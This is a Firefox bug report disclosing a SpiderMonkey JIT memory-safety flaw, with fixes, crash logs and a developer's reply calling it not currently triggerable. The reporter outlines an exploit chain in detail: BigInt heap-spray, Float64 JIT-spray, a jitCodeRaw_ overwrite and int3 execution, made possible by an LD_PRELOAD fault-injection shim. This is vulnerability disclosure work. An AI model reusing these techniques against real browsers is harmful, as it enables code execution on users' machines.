SpiderMonkey: AddToFoldedStub error path leaves capacity < initializedLength → OOB read in GC sweep → content-process RCE
Categories
(Core :: JavaScript Engine: JIT, defect, P2)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox151 | --- | wontfix |
| firefox152 | --- | wontfix |
| firefox153 | --- | fixed |
People
(Reporter: 0x4lter, Assigned: jandem)
References
(Blocks 2 open bugs, )
Details
(Keywords: ai-involved, reporter-external, sec-other, Whiteboard: [client-bounty-form][adv-main153-])
Attachments
(1 file, 1 external file)
|
25.89 KB,
application/x-zip-compressed
|
Details |
Affects
- mozilla-central HEAD
574d441b(Nightly 152.0a1) - Pre-existing on older branches; backport check requested.
Summary
js::jit::AddToFoldedStub at js/src/jit/StubFolding.cpp:751-757 calls shrinkElements on the error path of the second append without first lowering initializedLength. In release builds this silently leaves the folded-IC-referenced ShapeListWithOffsetsObject with capacity < initializedLength. The subsequent GC sweep's weak-edge tracing reads past the buffer and dereferences attacker-controlled bytes. With a heap-spray of BigInt heapDigits_ buffers, this becomes a controlled relative read at attacker-chosen address; combined with Float64 JIT-spray + JSFunction.BaseScript.jitCodeRaw_ overwrite, this delivers RIP control + actual code execution in the content process.
A secondary independent bug is exposed while developing the chain: the corruption deterministically leaves initializedLength odd, which exposes a separate infinite-OOB-loop in ShapeListWithOffsetsObject::traceWeak at js/src/jit/ShapeList.cpp:165-183 (while (src != end) with src += 2 overshoots).
All seven proofs reproduce on the unmodified upstream Nightly release binary. The full unified PoC (one shim source + one JS chain + one runner + eight captured crash logs) is attached as poc.zip.
1. Primary bug — StubFolding.cpp:751-757
if (!shapeList->append(cx, newShape)) {
cx->recoverFromOutOfMemory();
return false;
}
if (offsetFieldOffset.isSome()) {
if (!shapeList->append(cx, newOffset)) {
// Drop corresponding shape if we failed adding offset.
shapeList->shrinkElements(cx, shapeList->length() - 1); // ← BUG
cx->recoverFromOutOfMemory();
return false;
}
}
NativeObject::shrinkElements only mutates capacity, never initializedLength. It also asserts (debug-only) at js/src/vm/NativeObject.cpp:1036 that reqCapacity >= getDenseInitializedLength() — the opposite of what this call site passes.
Fix
if (offsetFieldOffset.isSome()) {
if (!shapeList->append(cx, newOffset)) {
- shapeList->shrinkElements(cx, shapeList->length() - 1);
+ shapeList->setDenseInitializedLength(shapeList->length() - 1);
+ shapeList->shrinkElements(cx, shapeList->length());
cx->recoverFromOutOfMemory();
return false;
}
}
Matches the correct ordering used at three other call sites in the tree:
js/src/vm/List-inl.h:44-45(ListObject::popFirst)js/src/builtin/Array.cpp:698-702js/src/builtin/Array.cpp:2706-2709
2. Secondary bug — ShapeList.cpp:165-183
const HeapSlot* src = elements_;
const HeapSlot* end = src + length; // length = initializedLength
while (src != end) { // ← `!=` with stride 2
Shape* shape = ...;
uint32_t offset = ...;
...
src += 2; // ← skips `end` when length is odd
}
The corruption from §1 always leaves initializedLength = 2N+1 (odd: first append succeeded, leaving an orphan; second failed without changing length; shrinkElements does not touch length). With != and stride 2, the loop runs unbounded into adjacent memory until it crashes or corrupts neighbouring allocations.
Fix
- while (src != end) {
+ while (src < end) {
This is independently exploitable: it is the reason our Stage D (pure-JS arbitrary R/W via dual-ArrayBuffer DATA_SLOT pivot) cannot complete — the loop crashes before the IC re-fire that would consume the planted attacker bytes.
3. Proof 1 — IC fold target reachable on ArrayBuffer-shaped objects
./run.sh 1 ~/work/sm-release/dist/bin/js
Runner output (full in log_01_fold_check.txt):
[StubFolding] Folded stub at offset 3 (icScript: ...) with 6 shapes
[StubFolding] ShapeListWithOffsetObject 0x...: new length: 14
ShapeListWithOffsetObject is the bugged variant. Trigger condition: same property name (.poison) lands at different fixed-slot indices across ArrayBuffers, which folds into GuardMultipleShapesToOffset + LoadFixedSlotFromOffsetResult.
4. Proof 2 — 80 invariant violations / run on clean release
./run.sh 2 ~/work/sm-release/dist/bin/js
Last line (full in log_02_many_corruptions_release.txt):
[exploit-hook] summary: 1120 total append calls hooked, 80 force-failed (2nd-append)
80 deterministic corruption events per single run on the unmodified release binary. The LD_PRELOAD shim is a 200-LOC C file (hook_exploit.c) that patches js::ListObject::append's entry with an absolute jump to an asm hook. The hook walks the saved return address and, only when called from the second-append site inside AddToFoldedStub, returns 0 — exactly the OOM signal the bug expects. It does not modify the SpiderMonkey binary or source. See §11 (stand-ins disclosure).
5. Proof 3 — ASAN + DEBUG symbolicated MOZ_ASSERT crash
./run.sh 2 ~/work/sm-asan/dist/bin/js
Output (full in log_03_asan_debug_moz_assert.txt):
[N] Assertion failure: reqCapacity >= getDenseInitializedLength(),
at mozilla-central/js/src/vm/NativeObject.cpp:1036
Thread 1 "js" received signal SIGSEGV
MOZ_CrashSequence (aAddress=0x0, aLine=1036)
#01 js::NativeObject::shrinkElements NativeObject.cpp:1036
#02 js::jit::AddToFoldedStub StubFolding.cpp:753 ← buggy site
#03 js::jit::AttachBaselineCacheIRStubLocked BaselineCacheIRCompiler.cpp:2238
#04 js::jit::AttachBaselineCacheIRStub BaselineCacheIRCompiler.cpp:2174
#05 js::jit::TryAttachStub<GetPropIRGenerator> BaselineIC.cpp:522
#06 js::jit::DoGetPropFallback BaselineIC.cpp:1322
Canonical Mozilla bug-report stack — the assertion explicitly fires at the line we identified as buggy.
6. Proof 4 — End-to-end SEGV via traceWeak on clean release
./run.sh 3 ~/work/sm-release/dist/bin/js
Single corruption + plain gc(). Output (full in log_04_e2e_segv_traceweak.txt):
SIGSEGV at js::gc::TenuredCell::zoneFromAnyThread (this=0x6)
#0 TenuredCell::zoneFromAnyThread Cell.h:475
#1 SweepingTracer::onEdge<Shape> Marking.cpp:3023
#2 GenericTracerImpl::onShapeEdge TracingAPI.h:219
#3 gc::TraceEdgeInternal Tracer.h:112
#4 TraceManuallyBarrieredWeakEdge<Shape*> Tracer.h:327
#5 ShapeListWithOffsetsObject::traceWeak ShapeList.cpp:171 ← OOB READ
#6 JSClass::doTrace Class.h:665
#7 Zone::sweepObjectsWithWeakPointers Sweeping.cpp:1587
#9 Zone::sweepObjectsWithWeakPointers Sweeping.cpp:1580
#10 GCRuntime::sweepObjectsWithWeakPointers Sweeping.cpp:1573
this = 0x6 is the first byte at the OOB slot one past the post-shrink capacity. The crash is in clean release SpiderMonkey through the exact chain the bug enables.
7. Proof 5 — Attacker-controlled memory read location (Stage B)
Heap-spray the freed jemalloc bin-128 with BigInt heapDigits_ (vm/BigIntType.cpp:156 — AllocateCellBuffer<Digit> produces a 128-byte buffer with no engine-imposed header at offset 0; byte 0 = least-significant digit, fully attacker-controlled from JS).
const FAKE_SHAPE = 0xDEADBEEFCAFEBABEn;
function makeSprayBigInt(low) { return (1n << (15n * 64n)) | low; }
// spray ~4096 of these
./run.sh 4 ~/work/sm-release/dist/bin/js
Output (full in log_05_stage_b_deadbeef.txt):
SIGSEGV at js::gc::TenuredCell::zoneFromAnyThread (this=0xdeadbeefcafebabe)
↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
EXACTLY OUR CHOSEN VALUE
rip = 0x... <onShapeEdge+17> ; mov 0x8(%rcx),%rdx
rax = 0xdeadbeefcafebabe
rcx = 0xdeadbeefcafeb000 ; thing->isTenured() cleared low 12 bits
The next instruction (mov 0x8(%rcx), %rdx) becomes a controlled read at attacker-chosen address rcx + 8.
Second proof with a different value (./run.sh 5, see log_06_stage_b_aaaa.txt):
SIGSEGV at js::gc::TenuredCell::zoneFromAnyThread (this=0x4141414141414141)
This satisfies Mozilla's "demonstrated control over memory read location" criterion.
8. Proof 6 — RIP control (Stage E)
Float64 JIT-spray + JSFunction.BaseScript.jitCodeRaw_ overwrite. SM 152 does not constant-blind doubles (MacroAssembler-x64.cpp:24, confirmed live), so a sprayed Float64 constant's IEEE 754 bytes land verbatim in the JIT constant pool at a known offset (0x178 for our test function) — attacker-chosen bytes inside an RX page.
./run.sh 6 ~/work/sm-release/dist/bin/js
Output (full in log_07_pc_control.txt):
Thread 1 "js" received signal SIGSEGV
rax 0x4141414141414141 4702111234474983745
=> 0x...: call *%rax
[run] PC CONTROL DEMONSTRATED — RIP = 0x4141414141414141 observed.
The Ion-compiled caller dispatches to victim.jitCodeRaw_ via indirect call — patching that pointer redirects RIP to attacker-chosen address.
9. Proof 7 — Actual code execution (Stage E+)
Same chain as Proof 6, except jitCodeRaw_ is patched to a sprayed Float64 constant's address. The first 8 bytes there are our chosen 0xCC 0x00 0x00 0xAD 0xDE 0x90 0x90 0x90. CPU fetches + decodes + executes byte 0 (0xCC = int3) → SIGTRAP at RIP = sprayTarget + 1.
./run.sh 7 ~/work/sm-release/dist/bin/js
Output (full in log_08_code_execution.txt):
sprayJit=0x... sprayOff=0x178 target=sprayJit+0x178
BEFORE victimBs[0] = 0x... ; victim's original jitCodeRaw_
AFTER victimBs[0] = target ; patched to spray address
bytes at target: 0xcc 0x00 0x00 0xad 0xde 0x90 0x90 0x90
↑↑↑↑↑
int3 — attacker-chosen instruction
Thread 1 "js" received signal SIGTRAP, Trace/breakpoint trap.
0x00003f092f0ab8f9 in ?? () ← RIP = sprayTarget + 1
(after int3 executed)
[run] CODE EXECUTION DEMONSTRATED — SIGTRAP (0xCC int3 executed).
CPU successfully executed our attacker-supplied instruction byte inside the content process. This satisfies Mozilla's "demonstrated control over PC of content process" and "significant arbitrary code execution".
Updated•6 months ago
|
| Assignee | ||
Comment 1•6 months ago
|
||
Thanks for reporting this to us.
Internal AI analysis found the buggy code, but concluded it's not currently able to trigger it. Here we append two elements to a ListObject and if the second append fails, we try to revert the first append but the code for this is buggy. However the second append can't actually fail in practice because the element capacity is always even due to the way we grow object elements. The PoC in this bug works around that by injecting a failure for the second append call by patching the code using a LD_PRELOAD hook.
I'll mark this sec-low because it's a latent issue we should fix (changing our elements allocation code could break this) but it's not currently exploitable.
| Assignee | ||
Comment 2•6 months ago
|
||
This adds a version of append that adds two elements to avoid OOM cases where we
append one element but not the other. We could generalize this to append-N but
that's more complicated and not worth it yet.
| Assignee | ||
Comment 4•6 months ago
|
||
I'll change this to sec-other since it's not possible to trigger this code currently.
Updated•6 months ago
|
Comment 5•6 months ago
|
||
Updated•6 months ago
|
Updated•6 months ago
|
Updated•4 months ago
|
Updated•3 months ago
|
Description
•